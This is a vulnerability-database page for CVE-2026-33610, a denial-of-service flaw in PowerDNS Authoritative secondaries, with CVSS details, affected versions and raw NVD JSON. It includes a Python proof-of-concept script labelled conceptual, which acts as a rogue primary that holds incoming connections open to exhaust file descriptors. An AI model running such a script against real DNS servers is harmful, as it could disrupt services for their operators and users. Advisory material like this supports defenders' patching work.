Security Vulnerability Report
中文
CVE-2026-33610 CVSS 5.9 MEDIUM

CVE-2026-33610

Published: 2026-04-22 14:16:55
Last Modified: 2026-04-24 18:53:09

Description

A rogue primary server may cause file descriptor exhaustion and eventually a denial of service, when a PowerDNS secondary server forwards a DNS update request to it.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:* - VULNERABLE
具体受影响版本请参考官方安全公告 PowerDNS Advisory 2026-05

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-33610 (Conceptual) # This script simulates a rogue primary server that holds connections open # to potentially exhaust file descriptors on the secondary server. import socket import time def rogue_primary_server(port=53): # Start a listening socket to simulate a rogue DNS primary server server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server_socket.bind(('0.0.0.0', port)) server_socket.listen(100) print(f"[+] Rogue Primary Server listening on port {port}...") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection accepted from {addr}") # Simulate behavior that causes file descriptor exhaustion # by keeping the socket open without closing or responding properly. # In a real scenario, this might involve specific DNS protocol interaction. try: # Just hold the connection open time.sleep(100) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() except KeyboardInterrupt: print("\n[-] Server stopped.") except Exception as e: print(f"[-] Failed to bind port {port}: {e}") if __name__ == "__main__": rogue_primary_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33610", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:54.887", "lastModified": "2026-04-24T18:53:08.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A rogue primary server may cause file descriptor exhaustion and eventually a denial of service, when a PowerDNS secondary server forwards a DNS update request to it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.0", "versionEndExcluding": "4.9.14", "matchCriteriaId": "08464BC2-733F-4260-878D-DE05919A7A7D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.4", "matchCriteriaId": "A26C526E-15DC-41BE-9B66-FC6A63679562"}]}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-05.html", "source": "[email protected]", "tags": ["Broken Link", "Vendor Advisory"]}]}}